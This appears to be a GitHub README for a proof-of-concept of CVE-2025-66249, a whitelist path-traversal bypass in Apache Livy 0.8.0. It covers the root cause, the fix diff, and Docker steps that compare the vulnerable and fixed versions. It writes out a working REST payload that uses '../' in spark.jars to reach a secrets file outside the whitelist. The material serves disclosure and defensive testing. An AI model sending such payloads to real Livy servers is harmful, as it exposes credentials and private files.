
A POC for Apache Livy Path Traversal Whitelist Bypass Vulnerability
For educational and security research purposes only. Do not use against systems you do not own or have explicit written permission to test. → Full Disclaimer
| Field | Detail |
|---|
| CVE ID | CVE-2025-66249 |
| Severity | Important (CVSS N/A — NVD assessment pending as of 2026-03-15) |
| Affected | Apache Livy 0.3.0-incubating through 0.8.0-incubating — only when livy.file.local-dir-whitelist is set to a non-default value |
| Fixed in | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
| Disclosed | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| Reporter | Hiroki Egawa (finder) |
An authenticated user with access to Livy's REST or JDBC interface can submit a Spark session or batch job with a crafted file-path configuration value that escapes the permitted directory whitelist.
Root cause — Path traversal bypass in whitelist check (Session.scala)
When livy.file.local-dir-whitelist is configured, Livy 0.8.0 validates submitted
paths by calling Java's String.startsWith() on the raw, un-normalised path.
This check can be bypassed using ../ traversal sequences:
/opt/safe-data/../sensitive/secret.txt
The raw string starts with /opt/safe-data, so the check passes — but the path
resolves to /opt/sensitive/secret.txt, which is entirely outside the whitelisted
directory.
Trigger condition: The vulnerability can only be exploited when
livy.file.local-dir-whitelist is set to a non-default (non-empty) value.
If the whitelist is empty (the default), path validation is skipped entirely and
the issue is not exercised.
Impact: An attacker who submits a session via the Livy REST API can reference arbitrary local files on the Livy server host. In a shared analytics cluster this translates to potential exposure of credentials, keys, configuration files, or any data readable by the Livy process user.
Session.scalaVulnerable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Fixed (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Both versions were cloned directly from the official Apache Livy GitHub repository using the following exact commands:
Repository: https://github.com/apache/incubator-livy
# Vulnerable version — cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Fixed version — cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| Version | Tag | Resolved commit | Local path |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: Paths.get().normalize() before whitelist check import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
Impact in v0.8.0:
The raw string startsWith check can be bypassed with a path traversal payload.
Example: if livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (bypassed)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (blocked)Diffs were produced by cloning both tags locally (see above) and running:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← path starts with whitelisted prefix — String.startsWith() passes
← but resolves OUTSIDE the directory via ../ traversal
}
}
│
▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
All steps in this PoC were executed and validated on the following system:
| Component | Detail |
|---|---|
| Host OS | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Kernel | 6.17.0-14-generic x86_64 |
| Architecture | x86_64 |
| Total Memory | 15 GiB |
| Docker Engine | 28.2.2 |
| Host JDK | OpenJDK 17.0.18 (used by host only — containers use eclipse-temurin:11-jdk-focal) |
| Container base image | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Spark version (both images) | 3.1.3 with Hadoop 3.2 |
| Livy version — vulnerable image | 0.8.0-incubating |
| Livy version — fixed image | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → image: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
Full end-to-end sequence — follow Steps 1 through 4 in order:
Step 1: Build vulnerable image → start container → verify Livy is up
Step 2: Run validate.sh → confirm VULNERABLE (attack HTTP 201) → stop container
Step 3: Build fixed image → start container → verify Livy is up
Step 4: Run validate.sh → confirm FIXED (attack HTTP 400) → stop container
Note: Livy takes approximately 15–20 seconds to become ready after
docker run. All steps below include an explicitsleep 20before any API call.
Files:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — binds on 0.0.0.0:8998, local mode, whitelist = /opt/safe-data1a. Build the image:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
Validate — image was created:
docker images cve-2025-66249-vulnerable
Expected output:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. Start the container:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
Validate — container is running:
docker ps --filter name=livy-vulnerable
Expected output:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. Wait for Livy to start, then verify the REST API:
Livy requires ~15–20 seconds to initialise before it serves requests.
sleep 20
curl -s http://localhost:8998/sessions
Expected output:
{"from":0,"total":0,"sessions":[]}
1d. Validate the directory layout inside the container:
Confirm the whitelisted safe file exists:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Expected output:
This file lives inside the whitelisted directory.
Confirm the sensitive file exists outside the whitelist:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Expected output:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
The vulnerable container from Step 1 must still be running on port 8998.
What test/validate.sh tests:
| # | Attack | Payload key | Expected result on Livy 0.8.0 |
|---|---|---|---|
| 1 | Path traversal via String.startsWith() in Session.scala | spark.jars with ../ traversal | HTTP 201 — traversal bypasses whitelist |
2a. Run the script:
bash test/validate.sh
Note:
validate.shworks as follows:
- It polls
GET /sessionsuntil Livy responds (up to 60 seconds), confirming the server is ready.- It sends a
POST /sessionsrequest viacurlwith a craftedconfpayload targeting a file outside the whitelist (/opt/sensitive/secret.txt) using../traversal.- It reads the HTTP response code: 201 means Livy accepted the path without normalisation (vulnerable); 400 means Livy rejected it after normalisation (fixed).
- If a session was created (HTTP 201), the script immediately deletes it via
DELETE /sessions/{id}to keep the server clean.- After the test it prints a summary and exits with code 1 (vulnerable) or 0 (fixed), making it suitable for use in automated pipelines.
Expected output:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. Stop and remove the vulnerable container:
docker stop livy-vulnerable && docker rm livy-vulnerable
Validate — container is fully removed:
docker ps -a --filter name=livy-vulnerable
Expected output (empty — no rows):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Files:
docker/fixed/Dockerfile — identical base image and Spark 3.1.3, only Livy version changes to 0.9.0-incubatingdocker/fixed/livy.conf — identical to docker/vulnerable/livy.conf (same whitelist, port, mode)Keeping Spark, base image, and all configuration identical to Step 1 isolates Livy as the only variable.
3a. Build the image:
docker build -t cve-2025-66249-fixed docker/fixed/
Validate — image was created:
docker images cve-2025-66249-fixed
Expected output:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. Start the container:
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
Validate — container is running:
docker ps --filter name=livy-fixed
Expected output:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. Wait for Livy to start, then verify the REST API:
sleep 20
curl -s http://localhost:8998/sessions
Expected output:
{"from":0,"total":0,"sessions":[]}
3d. Validate the directory layout inside the container:
The fixed container uses identical fixtures to the vulnerable one — this confirms the only variable between the two environments is the Livy version.
Confirm the whitelisted safe file exists:
docker exec livy-fixed cat /opt/safe-data/safe.txt
Expected output:
This file lives inside the whitelisted directory.
Confirm the sensitive file exists outside the whitelist:
docker exec livy-fixed cat /opt/sensitive/secret.txt
Expected output:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
The fixed container from Step 3 must be running on port 8998. The script is identical — no changes.
What changes between Step 2 and Step 4:
Paths.get().normalize() before the whitelist check4a. Run the script:
bash test/validate.sh
Expected output:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
What the error message confirms:
| Attack | HTTP | Error message | Root cause fixed |
|---|---|---|---|
Path traversal via spark.jars | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Paths.get(...).normalize() added in Session.scala; resolves ../ before whitelist comparison |
4b. Stop and remove the fixed container:
docker stop livy-fixed && docker rm livy-fixed
Validate — container is fully removed:
docker ps -a --filter name=livy-fixed
Expected output (empty — no rows):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
CVE-2025-66249 is a single, targeted logic flaw in the whitelist enforcement that protects Livy's local-filesystem access path.
The whitelist (livy.file.local-dir-whitelist) existed across all affected versions
and was correctly configured. The failure was in how the whitelist was evaluated:
Path traversal bypass (the only weakness): The whitelist comparison in
Session.scala used Java's String.startsWith() on the raw path string. This is
insufficient for filesystem path comparisons because it does not account for ..
traversal segments. A path such as /opt/safe-data/../sensitive/secret.txt
satisfies the string check against whitelist entry /opt/safe-data, yet resolves
to a location entirely outside it.
The fix in 0.9.0 is minimal and targeted: one call to Paths.get().normalize() is
added before the whitelist comparison. This resolves all .. segments before the
startsWith check runs, so the traversal payload is correctly identified as
pointing outside the allowed directory.
Key takeaway for defenders: The vulnerability is only exploitable when
livy.file.local-dir-whitelist is set to a non-empty value. While this means the
default configuration is not directly vulnerable, any deployment that has tightened
the whitelist (i.e., explicitly restricted which directories Livy may access) is
paradoxically the one exposed — because it is the presence of the whitelist that
activates the flawed code path. Upgrading to Livy 0.9.0-incubating is the only
complete remediation.
Contributions to improve this PoC or documentation are welcome! Please ensure any contributions:
To contribute, open a pull request or file an issue describing the proposed change.
This project is licensed under the MIT License.
This repository is for educational and security research purposes only. The proof of concept demonstrates the vulnerability mechanics to aid understanding and defensive measures. Do not use against systems you do not own or have explicit written permission to test.
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security string-startswith-bypass
path-normalisation